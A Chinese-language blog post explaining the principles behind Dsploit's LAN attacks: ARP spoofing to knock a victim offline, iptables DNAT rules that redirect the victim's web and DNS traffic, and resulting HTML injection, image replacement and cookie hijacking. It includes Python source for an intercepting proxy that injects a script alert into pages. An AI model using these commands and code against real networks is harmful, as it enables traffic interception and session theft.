之前研究Dsploit的部分功能實現原理,現在了解的差不多了,簡要記錄下Dsploit的斷網攻擊,html注入,圖片替換,cookie劫持的原理。本篇blog需要有一定的網絡知識基礎在看。
假設現有三台主機,A代表網關,B代表攻擊者,C代表受害者。A,B,C的ip分別為192.168.1.1 192.168.1.2 192.168.1.3
B使用Nmap掃描當前網段下的主機,發現了網關A,聯網主機C。
斷網原理:B如果想讓C斷網,只需要用arpspoof不斷發arp reply包將自己偽裝為網關A,即發送的arp reply包中ip為網關的ip192.168.1.1,但是arp reply中的mac卻是自己的,這樣C主機會將數據發送給攻擊者B,如果攻擊者B沒有設置ip轉發,那么主機C就會斷網。
html注入,圖片替換,cookie劫持原理:
在上述的斷網原理下,如果攻擊者B開啟了ip轉發功能,用iptables工具輸入 iptables -t nat -s 192.168.1.3 -p tcp --dport 80 -j DNAT --to 192.168.1.2:8080
將主機C發送的目的端口是80的tcp報文轉發到本機監聽的端口8080上(注:這里8080只是舉例用,不一定非要8080,只要是http代理監聽的端口就行)
然后主機B在本機上運行http代理程序,http代理根據主機C發的http頭可知主機C要連接的網站是哪個網站,根據網址將http請求轉發,再將網站的響應轉發給主機C,這樣主機C還不知道自己的數據已經被竊聽到了。
html注入發生在攻擊者B將網站的響應轉發給主機C的過程中,若http代理發現該響應可以注入html代碼,就將html代碼注入到響應后,再將注入后的響應發送給主機C,cookie劫持,圖片替換發生在攻擊者B轉發主機C的http請求時,http代理將主機C發送的http請求中的cookie記錄下來,就可利用主機C的cookie來進行登錄服務。若http代理發現http頭請求的文件類型為圖片,則直接轉發自己定義的圖片給主機C。
DNS劫持原理與html注入類似,iptables -t nat -p udp --dport 53 -j DNAT --to 192.168.1.2:3000將DNS請求轉發給本機的DNS代理,根據DNS報文的內容決定要不要偽造DNS響應。
下面給一個簡單的http代理程序源碼,本http代理會在響應中注入<script>alert("you have been hacked.")</script>
#!/ # coding = utf-8 import socket import threading import re class HttpHeaderParser(object): def __init__(self, arg): super(HttpHeaderParser, self).__init__() self.arg = arg self._parse(); def _parse(self): try: #print 'raw data:\n' + self.arg; data = self.arg[self.arg.find('\r'):self.arg.find('\n\r\n')] self.name = re.findall('\n(.*?):',data); self.value = re.findall(':(.*?)\r',data); self.body = self.arg[self.arg.find('\r\n\r\n') + 4:]; self.status = self.arg[0:self.arg.find('\r\n')]; for i in range(0,len(self.value)): self.value[i] = self.value[i].lstrip();#過濾不必要的空格 self._getHostAddr(); except: print 'error'; #print self.arg; def getAttribute(self,name): if name in self.name: return self.value[self.name.index(name)]; return None; def setAttribute(self,name,value): if name in self.name: self.value[self.name.index(name)] = value; return ; self.name.append(name); self.value.append(value); def _getHostAddr(self): self.host = self.getAttribute('Host'); self.port = 80; if ':' in self.host: tmp = self.host; self.host = tmp[0:tmp.find(':')]; self.host = socket.gethostbyname(self.host); self.port = int(tmp[tmp.find(':') + 1:]) def getAddr(self): return (self.host,self.port); def buildHeader(self): tmp = self.status + '\r\n'; for i in range(0,len(self.name)): tmp = tmp + self.name[i] + ':' + self.value[i] + '\r\n'; tmp = tmp + '\r\n' + self.body; #print 'build:\n' + tmp; return tmp; def proc(client): data = client.recv(2048); #print data; if data: parser = HttpHeaderParser(data); addr = parser.getAddr(); if addr[0] == '192.168.155.1': addr = (socket.gethostbyname('123.207.127.183'),80); parser.setAttribute('Host','123.207.127.183') parser.setAttribute('Accept-Encoding',''); head = parser.buildHeader(); sock = socket.socket(socket.AF_INET,socket.SOCK_STREAM); sock.connect(addr); sock.sendall(head); html = sock.recv(2048); while html: html = html.replace('<body>','<body><script>alert(\"you have been hacked.\")</script>'); print html; client.sendall(html); html = sock.recv(1024); sock.close(); client.close(); def main(): addr = ('0.0.0.0',3000); sock = socket.socket(socket.AF_INET,socket.SOCK_STREAM); sock.bind(addr); sock.listen(80); b = True; while b: client,clientaddr = sock.accept(); t = threading.Thread(target = proc,args =(client,)); t.start(); #t.join(); sock.close(); print 'finish!!!'; if __name__ == '__main__': main()
在本機設置為http代理運行之后,打開網頁
會先出現
然后才是網站的真正響應。
ps:如有錯誤,歡迎指正。